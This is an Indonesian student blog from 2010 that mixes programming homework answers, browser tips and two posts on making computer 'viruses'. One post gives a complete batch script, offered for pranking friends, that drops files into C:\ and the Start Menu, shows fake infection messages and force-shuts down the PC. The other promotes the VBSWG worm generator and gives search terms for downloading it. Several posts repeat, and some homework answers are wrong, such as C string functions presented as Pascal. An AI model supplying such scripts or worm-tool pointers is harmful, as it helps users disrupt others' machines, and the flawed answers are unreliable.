1. Sebutkan tipe data apa saja yang bisa di gunakan dalam pemegraman pascal
Secara umum, tipe data dalam pemrograman Pascal adalah:
JAWAB :
A. Tipe data sederhana
- Tipe data standard (standard data type) :
Integer, Real, Boolean, Char, dan String
- Tipe data didefinisikan pemakai (user defined data type):
subrange dan enumerasi
B.. Tipe data terstruktur
- Array, record, set, file
C. Tipe data penunjuk
- Pointer
2. Sebutkan 5 perintah Operasi String dan berikan contohnya
JAWAB:
String merupakan sekumpulan dari beberapa karakter,yang banyaknya ber ubah-ubah sesuia kebutuhannya besarnya 1 s/d 225 character, yang pemberian nilainya di apit dengan tanda petik ganda(“).
Fungsi pada Operasi STRING
1. Strcpy()
untuk menyalin nilai string.
2. Strcat()
untuk menggabungkan nilai string.
3. Strcmp()
untuk membandingkan 2 nilai string.
4. Strlen()
untuk mengetahui panjang nilai string.
5. Strchr ()
untuk mencari nilai karakter dalam string.
Contoh :
#include<stdio.h>
#include<string.h>
#devine MAKS 80
Main()
{
Char str 1[MAKS];
Char str2[]=”ABCDE”;
Strcpy(str1,str2);/* menyalin str 2 ke str 1*/
Printf(“string pertama adalah : % s\n”, str 1);
Printf(“string pertama adalah : % s\n”, str 2);
}
3. Jelaskan pengertian
a. Array
b. Record
c. File
JAWAB :
a. Array
Array ( Larik) adalah terstruktur yang mempunyai komponen dalam jumlah yang tetap dan setiap mempunyai tipe data yang sama.
b.Record
Record sma halnya dengan Array, Record merupakan sekumpulan data yang terstruktur. Bedanya adalah bahwa dalam Array tipe datanya harus bertipe sama ,sedangkan pada Record setiap element bisa mempunya tipe data yang berbeda satu sama lainnya.
c. File
dari segi pemograman. file merupakan media penyimpanan data , yang terbagi 3 jenis yaitu ;
1. File Text
2. File Biner
3. File Tidak bertipe
4. Sebutkan penggunaan tipe data boolean dalam pemograman
JAWAB :
Boolean yaitu suatu type data yang terdiri dari Dua nilai saja yaitu, True dan False yang sering di gunakan untuk menentukan alur program. Sebagai contoh Coba perhatikan penulisan baris program berikut. Jika b adalah variabel bertipe boolean, maka :
if a = x then
b := True
else
b := False;
Penulisan kode diatas sudah biasa kita lihat dan bisa dipahami bahwa jika a bernilai x maka b nilanya benar dan jika sebaliknya, maka b bernilai salah
5. Jelaskan perbedaan tipe data Character dan String
JAWAB :
a. Tipe data String
Tipe data String tipe data yang merupakan rangkaian dari huruf angka atau simbol yang tidak mengandung harga(nilai)
b. Tipe data character
Tipe data character adalah tipe data yang berkaitan dengan character (huruf,angka,smbol).
laman
Senin, 18 Oktober 2010
Kamis, 14 Oktober 2010
Shortcut Untuk Mempercepat Browsing
- Ctrl+Enter, ini untuk membuka domain yang menggunakan .com. caranya adalah ketikkan nama domainnya saja (tidak perlu menambahkan “http://www” dan akhiran .com) kemudian klik ctrl+enter. Contohnya, jika kita ingin membuka “http://www.google.com” jadi ketiklah “google” tanpa tanda petik yaaa kemudian klik ctrl+enter.
- Shift+Enter, ini untuk membuka domain yang menggunakan .net. caranya adalah ketikkan nama domainnya saja kemudian klik shif+enter. Contoh, jika ingin membuka “http://www.telkom.net” maka cukup ketiklah “telkom” tanpa tanda petik yaaa kemudian klik shif+enter.
- Ctrl+Shift+Enter, ini untuk membuka domain yang menggunakan .org. caranya adalah ketikkan nama domainnya saja kemudian klik Ctrl+Shift+Enter. Misal, anda ingin membuka “www.wordpress.org” jadi cukup ketiklah “wordpress” tanpa tanda petik yaaa kemudian klik Ctrl+Shift+Enter.
VIRUS MEMATIKAN
Ir'one
kan memberitau bagaimana membuat virus dengan notepad, ya, cukup dengan notepad saja. Virus yang akan kita buat yang aman-aman saja, hehe..selain untuk iseng dan mengerjai teman-teman kita yang sukanya usil.
Efek dari virus ini hanya menshutdown PC, dan lucunya: sebelum PC tershutdown akan muncul pesan-pesan teks yang menandakan komputer kamu telah terinfeksi virus ganas bin very ganas. Padahal ya hanya untuk menshutdown saja..haha
Ok, saatnya serius..Lets check it..
Silahkan copas alias copy paste kode dibawah ini di notepad kamu:
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo BANGUN TIDUR KU TERUS MENGHANCURKAN SYSTEM…
echo …………………
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo NEXT…………!
echo:
echo:
echo HALO SOBAT
echo MAU JADI TEMAN AKU ??
echo:
echo:
echo IM ZATYA BAJA ITEM
start /w wscript.exe C:\sleep2000.vbs
echo …………
start /w wscript.exe C:\sleep4000.vbs
echo …………
echo NTAR…….!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS INI ADALAH VIRUS YANG SANGAT MEMATIKAN…
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir Si_INDO_CRACKER
start /w wscript.exe C:\sleep3000.vbs
echo:
echo:
echo:
echo:
echo HAPPY BIRTHDAY
echo KOMPUTER KAMU BAGUS DEH
echo BOLEH Q INTIP DIKIT
echo HMM BOLEH JUGA NEH ISINYA
echo CALL ME YACHH +6284323xxxxxx GPRS JUGA BOLEH KOK
echo:
echo:
echo:
echo:
echo:
echo SABARAN BRO…
start /w wscript.exe C:\sleep3000.vbs
echo ………..
echo zzzzzzz….
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo OKE….Virus AKTIF!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo FIREWALL KAMU ANCUR…
start /w wscript.exe C:\sleep2000.vbs
echo SEMUA PROSESS UDAH DIBANTAI…
start /w wscript.exe C:\sleep2000.vbs
echo VIRUS SILAHKAN BOOTING DENGAN SEGALA HORMAT…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS MASUK PODIUM AKHIR!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo I LOVE U FULL
echo HA HA HA HA
echo:
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c “BERTAUBATLAH, BACK TO UR GOD MOHON MAAF LAHIR DAN BATIN.”
Kemudian disimpan dengan nama terserah Kamu diakhiri .bat dan save type all file .
cth nya: Dancokboyo.bat
Zatya Disini hanya memberikan untuk berbagi dan sama-sama belajar. Dan terserah bagaimana Kamu menyikapinya dan menggunakannya.
Silahkan kasih komentar, saran dan kritik Kamu. Atau bahkan jika ada yang tau virus yang lebih maknyus silahkan d share di komentar di bawah ini! Thanks perhatiannya sobat..
kan memberitau bagaimana membuat virus dengan notepad, ya, cukup dengan notepad saja. Virus yang akan kita buat yang aman-aman saja, hehe..selain untuk iseng dan mengerjai teman-teman kita yang sukanya usil.
Efek dari virus ini hanya menshutdown PC, dan lucunya: sebelum PC tershutdown akan muncul pesan-pesan teks yang menandakan komputer kamu telah terinfeksi virus ganas bin very ganas. Padahal ya hanya untuk menshutdown saja..haha
Ok, saatnya serius..Lets check it..
Silahkan copas alias copy paste kode dibawah ini di notepad kamu:
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo BANGUN TIDUR KU TERUS MENGHANCURKAN SYSTEM…
echo …………………
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo NEXT…………!
echo:
echo:
echo HALO SOBAT
echo MAU JADI TEMAN AKU ??
echo:
echo:
echo IM ZATYA BAJA ITEM
start /w wscript.exe C:\sleep2000.vbs
echo …………
start /w wscript.exe C:\sleep4000.vbs
echo …………
echo NTAR…….!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS INI ADALAH VIRUS YANG SANGAT MEMATIKAN…
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir Si_INDO_CRACKER
start /w wscript.exe C:\sleep3000.vbs
echo:
echo:
echo:
echo:
echo HAPPY BIRTHDAY
echo KOMPUTER KAMU BAGUS DEH
echo BOLEH Q INTIP DIKIT
echo HMM BOLEH JUGA NEH ISINYA
echo CALL ME YACHH +6284323xxxxxx GPRS JUGA BOLEH KOK
echo:
echo:
echo:
echo:
echo:
echo SABARAN BRO…
start /w wscript.exe C:\sleep3000.vbs
echo ………..
echo zzzzzzz….
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo OKE….Virus AKTIF!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo FIREWALL KAMU ANCUR…
start /w wscript.exe C:\sleep2000.vbs
echo SEMUA PROSESS UDAH DIBANTAI…
start /w wscript.exe C:\sleep2000.vbs
echo VIRUS SILAHKAN BOOTING DENGAN SEGALA HORMAT…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo VIRUS MASUK PODIUM AKHIR!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo I LOVE U FULL
echo HA HA HA HA
echo:
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c “BERTAUBATLAH, BACK TO UR GOD MOHON MAAF LAHIR DAN BATIN.”
Kemudian disimpan dengan nama terserah Kamu diakhiri .bat dan save type all file .
cth nya: Dancokboyo.bat
Zatya Disini hanya memberikan untuk berbagi dan sama-sama belajar. Dan terserah bagaimana Kamu menyikapinya dan menggunakannya.
Silahkan kasih komentar, saran dan kritik Kamu. Atau bahkan jika ada yang tau virus yang lebih maknyus silahkan d share di komentar di bawah ini! Thanks perhatiannya sobat..
CAR A MEMBUAT VIRUS GANAS
Sebenarnya ada banyak cara membuat virus.
Diantaranya dengan menggunakan software. Tapi pada umumnya software pembuat virus ditujukan untuk bahan belajar dan bukan untuk merugikan orang lain atau main2. Meskipun demikian ada saja orang yang memanfaatkan virus untuk tujuan yang tidak baik sehingga merugikan orang lain.
Salah satunya software pembuat virus adalah VBSWG WORM GENERATOR . Software ini dibuat oleh hacker Argentina yang masih berusia18 tahun. Hebat ya ....?? Ingat software VBS Worm Generator hanya boleh digunakan untuk belajar, dan bukan untuk merugikan orang lain.
Program VBSWG memungkinkan kamu untuk membuat worm dengan nama sesuka hatimu. Kamu juga bisa memilih efek dari worm tersebut, seperti misalnya menampilkan pesan atau memaksa seseorang untuk menuju situs tertentu. Akibat yang paling hebat tentunya jika worm tersebut kamu setting supaya membikin crash komputer.
Kemampuan lain dari VBSWG adalah melakukan enkripsi terhadap source code worm yang dibuat. Kemampuan lainnya bisa kamu coba sendiri deh.......
Cara membuat virus dengan program ini cukup dengan beberapa klik saja dan jadilah sebuah virus / worm yang sangat hebat.
Anda bisa download Software ini dengan cara search di google dengan kata kunci vbswg2bfix.zip, Vbswg2B.zip, worm generator, dan kata kunci semacamnya !
NB: Ingat : Seperti yang dikatakan oleh pembuatnya, VBS Worm Generator hanya boleh digunakan untuk belajar, bukan untuk merugikan orang lain. Untuk itu maka jika Anda memang ingin berniat mencobanya, ingat-ingat peringatan tersebut , dan jangan berniat untuk merugikan orang lain. Ok .....
Sunggu tiada niat penulis untuk memotivasi pembaca untuk membuat sebuah virus, jadi kalau terjadi sesuatu pada anda, kami tidak bertanggung jawab ....
Diantaranya dengan menggunakan software. Tapi pada umumnya software pembuat virus ditujukan untuk bahan belajar dan bukan untuk merugikan orang lain atau main2. Meskipun demikian ada saja orang yang memanfaatkan virus untuk tujuan yang tidak baik sehingga merugikan orang lain.
Salah satunya software pembuat virus adalah VBSWG WORM GENERATOR . Software ini dibuat oleh hacker Argentina yang masih berusia18 tahun. Hebat ya ....?? Ingat software VBS Worm Generator hanya boleh digunakan untuk belajar, dan bukan untuk merugikan orang lain.
Program VBSWG memungkinkan kamu untuk membuat worm dengan nama sesuka hatimu. Kamu juga bisa memilih efek dari worm tersebut, seperti misalnya menampilkan pesan atau memaksa seseorang untuk menuju situs tertentu. Akibat yang paling hebat tentunya jika worm tersebut kamu setting supaya membikin crash komputer.
Kemampuan lain dari VBSWG adalah melakukan enkripsi terhadap source code worm yang dibuat. Kemampuan lainnya bisa kamu coba sendiri deh.......
Cara membuat virus dengan program ini cukup dengan beberapa klik saja dan jadilah sebuah virus / worm yang sangat hebat.
Anda bisa download Software ini dengan cara search di google dengan kata kunci vbswg2bfix.zip, Vbswg2B.zip, worm generator, dan kata kunci semacamnya !
NB: Ingat : Seperti yang dikatakan oleh pembuatnya, VBS Worm Generator hanya boleh digunakan untuk belajar, bukan untuk merugikan orang lain. Untuk itu maka jika Anda memang ingin berniat mencobanya, ingat-ingat peringatan tersebut , dan jangan berniat untuk merugikan orang lain. Ok .....
Sunggu tiada niat penulis untuk memotivasi pembaca untuk membuat sebuah virus, jadi kalau terjadi sesuatu pada anda, kami tidak bertanggung jawab ....
Selasa, 12 Oktober 2010
Buat browser Firefox kalian lebih cepat
Browsing pake firefox kadang bisa bikin kamu kesal, kok lama banget ya buka websitenya..? Ikutin aja cara kru – kru Rocket Newsletter yang nyeleseinnya, untuk membuat browser Firefox kamu lebih cepat 3x dari normalnya nggak susah kok, karena firefox adalah browser opensource maka kita bisa leluasa mengubah setting parameter yang ada di firefox, ketik “about:config” ( tanpa tanda petik ) di addres bar kemudian enter untuk membuka setting parameter yang ada di firefox, kemudian cari parameter-parameter berikut ini kemudian ubah sesuai dengan settingan dibawah ini :
browser.tabs.showSingleWindowModePrefs true
network.http.max-connections 64
network.http.max-connections-per-server 20
network.http.max-persistent-connections-per-proxy 10
network.http.max-persistent-connections-per-server 4
network.http.pipelining true
network.http.pipelining.maxrequests 100
network.http.proxy.pipelining true
network.http.request.timeout 300
nglayout.initialpaint.delay 0
network.http.request.max-start-delay 0
network.http.max-persistent-connections-per-proxy 10
network.http.proxy.pipelining true
network.http.proxy.version 1.0
Oke guys sekian dulu tips buat mempercepat koneksi internet dengan melakukan tweak pada firefox, kapan-kapan di sambung lagi dengan tips – tips yang lain.
Note : Kami menggunakan firefox versi 2.0.0.18, beberapa parameter diatas ada yang tidak kami temui di setting firefox versi lainnya, so kita cuma mengubah yang ada aja, kalo nggak ada langsung lanjut aja ke setting parameter berikutnya.., seep.
browser.tabs.showSingleWindowModePrefs true
network.http.max-connections 64
network.http.max-connections-per-server 20
network.http.max-persistent-connections-per-proxy 10
network.http.max-persistent-connections-per-server 4
network.http.pipelining true
network.http.pipelining.maxrequests 100
network.http.proxy.pipelining true
network.http.request.timeout 300
nglayout.initialpaint.delay 0
network.http.request.max-start-delay 0
network.http.max-persistent-connections-per-proxy 10
network.http.proxy.pipelining true
network.http.proxy.version 1.0
Oke guys sekian dulu tips buat mempercepat koneksi internet dengan melakukan tweak pada firefox, kapan-kapan di sambung lagi dengan tips – tips yang lain.
Note : Kami menggunakan firefox versi 2.0.0.18, beberapa parameter diatas ada yang tidak kami temui di setting firefox versi lainnya, so kita cuma mengubah yang ada aja, kalo nggak ada langsung lanjut aja ke setting parameter berikutnya.., seep.
Senin, 11 Oktober 2010
Tugas Pengantar Tehknologi Informasi Komunikasi
Carilah Masing-Masing 1contoh website dari:
A.implikasi Perkembangan Tehknologi komunikasi
B.peranan tehknologi informasi
JAWAB.
A.implikasi perkembangan tekhnologi komunikasi,website nya: -WWW.SCRIBD.COM
-WWW.BELOG.WEB.ID
-WWW.BLOGIUS.COM
1.gambar disamping WWW.SCRIBD.COM
2.gambar disamping WWW.BLOGIUS.COM
2.peranan tehknologi informasi websitenya:-www.info.G-excess.com
-www.jevuska.com
-www.linuxxu.com
1.gambar disamping gambar www. G-excess.com
2. gambar disamping gambar www.jevuska.com
3.gambar disamping gambar www.linuxxu.com
A.implikasi Perkembangan Tehknologi komunikasi
B.peranan tehknologi informasi
JAWAB.
A.implikasi perkembangan tekhnologi komunikasi,website nya: -WWW.SCRIBD.COM
-WWW.BELOG.WEB.ID
-WWW.BLOGIUS.COM
1.gambar disamping WWW.SCRIBD.COM
2.gambar disamping WWW.BLOGIUS.COM
2.peranan tehknologi informasi websitenya:-www.info.G-excess.com
-www.jevuska.com
-www.linuxxu.com
1.gambar disamping gambar www. G-excess.com
2. gambar disamping gambar www.jevuska.com
3.gambar disamping gambar www.linuxxu.com
Minggu, 10 Oktober 2010
TUGAS LTM PERTEMUAN 2: LOGIKA DAN ALGORITMA
1.Jelaskan pengertian
A.variabel pe-ubah
B.variabel konstanta.
C,variabel terkini.
JAWAB: A.variabel pe-ubah adalah,variabel yang bukan konstanta selalu berubah sesuai kondisi variabel terkini
B.variabel konstanta adalah variabel yang nilai nya tetap.
C.variabel terkini adalah variabel yang nilai nya ada pada saat ini
2.A=100,B=200 C=300 berikan perintah agar nilai A,B,C saling bertukar.
JAWAB. DIK :A= 100
B= 200
C=300
dit : nilai A,B,C saling bertukar
jaw : A = B-A B(A=200)
B = C-B C(B=300)
C= A-C A(C=100)
A=200,B=300,C=100
3.diketahui algoritma:
X = 5
Y = 20
Z = 40
A = X + Y + Z
X = Z - Y
Z = X + Y
Y + X - Z
berapakah nilai terkini dari A,X,Y,Z
jaw : A = 5+20+40
A = 65
X = 40-20
X = 20
Z = 5+20
Z = 25
Y = 5-40
Y = -35
jadi,nilai terkini dari A=65,X=20,Y=25,Z=35
4.Sebutkan perintah berikut dalam pemograman pascal.
a.memasukkan data / input data
b.mencetak dalam satu baris.
c.mencetak pada lain baris.
D.mengawali dan mengakhiri program.
JAWAB: A.-READ: memasukkan data dalam baris yang sama
B.READLN:memasukkan data perbaris.
C.ENDL:mencetak pada lain baris.
D.-BEGIN di gunakan untuk mengawali program.
-END digunakan untuk mengakhiri program.
A.variabel pe-ubah
B.variabel konstanta.
C,variabel terkini.
JAWAB: A.variabel pe-ubah adalah,variabel yang bukan konstanta selalu berubah sesuai kondisi variabel terkini
B.variabel konstanta adalah variabel yang nilai nya tetap.
C.variabel terkini adalah variabel yang nilai nya ada pada saat ini
2.A=100,B=200 C=300 berikan perintah agar nilai A,B,C saling bertukar.
JAWAB. DIK :A= 100
B= 200
C=300
dit : nilai A,B,C saling bertukar
jaw : A = B-A B(A=200)
B = C-B C(B=300)
C= A-C A(C=100)
A=200,B=300,C=100
3.diketahui algoritma:
X = 5
Y = 20
Z = 40
A = X + Y + Z
X = Z - Y
Z = X + Y
Y + X - Z
berapakah nilai terkini dari A,X,Y,Z
jaw : A = 5+20+40
A = 65
X = 40-20
X = 20
Z = 5+20
Z = 25
Y = 5-40
Y = -35
jadi,nilai terkini dari A=65,X=20,Y=25,Z=35
4.Sebutkan perintah berikut dalam pemograman pascal.
a.memasukkan data / input data
b.mencetak dalam satu baris.
c.mencetak pada lain baris.
D.mengawali dan mengakhiri program.
JAWAB: A.-READ: memasukkan data dalam baris yang sama
B.READLN:memasukkan data perbaris.
C.ENDL:mencetak pada lain baris.
D.-BEGIN di gunakan untuk mengawali program.
-END digunakan untuk mengakhiri program.
Sabtu, 09 Oktober 2010
TUGAS BORLAND C++
#include<iostream.h>
#include<conio.h>
#include<stdio.h>
main()
{
int kode_barang,stok,harga_satuan,jumlah_beli,total;
char nama_barang[30];
cout<<"\tTOKO INDO MARKET"<<endl;
cout<<"========================================="<<endl;
cout<<"masukkan kode barang\t:";
cin>>kode_barang;
cout<<"masukkan nama barang\t:";
gets(nama_barang);
cout<<"masukkan stok\t\t:";
cin>>stok;
cout<<"masukkan harga satuan\t:";
cin>>harga_satuan;
cout<<"masukkan jumlah beli\t:";
cin>>jumlah_beli;
cout<<"========================================="<<endl;
cout<<"kode barang\t:"<<kode_barang<<endl;
cout<<"nama barang\t:"<<nama_barang<<endl;
cout<<"stok\t\t:"<<stok<<endl;
cout<<"harga satuan\t:"<<harga_satuan<<endl;
cout<<"jumlah beli\t:"<<jumlah_beli<<endl;
total = harga_satuan*jumlah_beli;
cout<<"total\t\t:"<<total<<endl;
getch();
}
Jumat, 01 Oktober 2010
Tugas LTM pertemuan 1: LOGIKA DAN ALGORITMA
1.Jelaskan peranan algoritma dalam pembuatan program.
Jawaban : algoritma memegang peranan penting dalam bidang pemrograman,sebegitu penting nya
suatu algoritma untuk progammer,sangat lah dibutuhkan untuk membuat program yang lebih efektif dan efisien,bagi kebanyakn orang,algoritma sangat membantu dalam memahami konsep logika pemrograman.
suatu algoritma untuk progammer,sangat lah dibutuhkan untuk membuat program yang lebih efektif dan efisien,bagi kebanyakn orang,algoritma sangat membantu dalam memahami konsep logika pemrograman.
algoritma adalah kumpulan instuksi yang dibuat secara jelas untuk menunjukkan langkah-langkah penyelesaian suatu masalah.pada umum nya algoritma kurang lebih sama dengan suatu prosedur untuk mengganti ban bocor/atau pecah.prosedur pemakaian telepon umum,prosedur membuat kue DLL.
Dalam bidang komputer misalnya EDP(Elektronik Data Processing) atau MIS (Management Information System).
algoritma sering dimanfaatkan untuk menyelesaikan
suatu masalah atau untuk proses pengambilan keputusan. Seorang sistem analisis (analisist
system) tentunya menggunakan algoritma untuk merancang suatu sistem. Bagi seorang
programer, algoritma digunakan untuk membuat modul-modul program.
Guna memahami suatu algoritma, harus dimiliki pengetahuan dasar matematika
karena pada dasarnya algoritma lahir dari konsep logika matematika. Disini yang perlu
dilatih adalah kemampuan logikanya agar benar-benar bisa menyusun langkah-langkah
penyelesaian masalah dengan baik.
Dalam buku ajar ini, disajikan konsep dasar dan analisis algoritma. Pada bagian
konsep dasar dibahas komponen utama, desain, dan contoh pembuatan. Selanjutnya, untuk
mendapatkan algoritma yang efisien serta mendapatkan rumusan matematika sebagai
ukuran kerumitan (kompleksitas) maka dibahas analisis algoritma dengan menggunakan
notasi O (big O).
suatu masalah atau untuk proses pengambilan keputusan. Seorang sistem analisis (analisist
system) tentunya menggunakan algoritma untuk merancang suatu sistem. Bagi seorang
programer, algoritma digunakan untuk membuat modul-modul program.
Guna memahami suatu algoritma, harus dimiliki pengetahuan dasar matematika
karena pada dasarnya algoritma lahir dari konsep logika matematika. Disini yang perlu
dilatih adalah kemampuan logikanya agar benar-benar bisa menyusun langkah-langkah
penyelesaian masalah dengan baik.
Dalam buku ajar ini, disajikan konsep dasar dan analisis algoritma. Pada bagian
konsep dasar dibahas komponen utama, desain, dan contoh pembuatan. Selanjutnya, untuk
mendapatkan algoritma yang efisien serta mendapatkan rumusan matematika sebagai
ukuran kerumitan (kompleksitas) maka dibahas analisis algoritma dengan menggunakan
notasi O (big O).
2.pengertian Pseudocode dan berikan contohnya.
Jawaban : Pseudocode adalah suatu cara penulisan algoritma agar ide dan logika dari
algoritma dapat disampaikan/diekspersikan.langkah yang dilakukan harus berstruktur dan saling berintegrasi sejauh tidak mengurangi pengertian dari algoritma.
algoritma dapat disampaikan/diekspersikan.langkah yang dilakukan harus berstruktur dan saling berintegrasi sejauh tidak mengurangi pengertian dari algoritma.
Contoh : a.Cara mengganti ban bocor
b.Cara mencuci pakaian
Jawaban : Fase debugging : yaitu proses program eksekusi yang akan melakukan koreksi terhadap kesalahan.
Fase profilling : yaitu fase yang akan bekerja jika program tersebut sudah benar.
4.Buat Algoritma bila seorang mahasiswa akan melakukan pembayaran uang kuliah via ATM.
Jawaban : Pembayaran Via ATM Mrga Syariah
1.persiapkan kartu ATM
2.masukkan kartu ATM kedalam mesin ATM.
3.masukkan no pin
4.pilih transaksi lainnya
5.setelah itu pilih pembayaran
6.pada saat transaksi pembayaran pilih pendidikan
7.pilih lembaga universitas/pendidikan,pilih BSI
8.masukkan nomor induk mahasiswa,bila benar lanjutjkan
9.masukkan jumlah pembayaran,bila benar lanjutkan.
10.terakhir konfirmasi pembayaran.
11.sebelum mengeluarkan kartu ATM,ganti no PIN.
12.keluarkan kartu ATM dari mesin ATM.
5.Sebutkan cara menyatakan Agoritma.
Jawaban : a.Waktu Tempuh Dari Suatu Algoritma
b.Jumlah Memori Yang Digunakan.
Langganan:
Postingan (Atom)